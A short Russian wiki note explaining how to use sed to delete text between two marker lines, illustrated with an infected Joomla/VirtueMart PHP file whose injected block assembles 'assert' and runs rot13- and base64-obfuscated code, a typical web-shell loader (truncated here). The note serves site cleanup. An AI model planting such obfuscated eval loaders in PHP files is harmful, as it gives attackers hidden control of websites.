sed. Удаление текста между двумя строками

file.php

<?php
//###===###
error_reporting(0);
$strings = "as";$strings .= "sert";
if (!@$mdc96972) {$mdc96972=1;@$strings(str_rot13('riny(onfr64_qrpbqr("VTyzXUA0paA0pvtxK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFjvq3NgoT9anJ4vXKk8p3Elp3ElXPEsH0IFIxIFJ$
//###===###

/**
 *
 * Show the product details page
 *
 * @package    VirtueMart
 * @subpackage
 * @author Max Milbers, Valerie Isaksen
 * @link http://www.virtuemart.net
 * @copyright Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * @version $Id: default_reviews.php 8508 2014-10-22 18:57:14Z Milbo $
 */

// Check to ensure this file is included in Joomla!
defined ('_JEXEC') or die ('Restricted access');

// Customer Reviews
$review_editable = true;
if ($this->allowRating || $this->allowReview || $this->showRating || $this->showReview) {

Необходимо удалить блок текста:

//###===###
...
//###===###
sed -i -n '/\/\/###===###/,/\/\/###===###/d;p' file.php
  • sed._udalenie_teksta_mezhdu_dvumja_strokami.txt
  • Последние изменения: 2016/01/25 00:00
  • (внешнее изменение)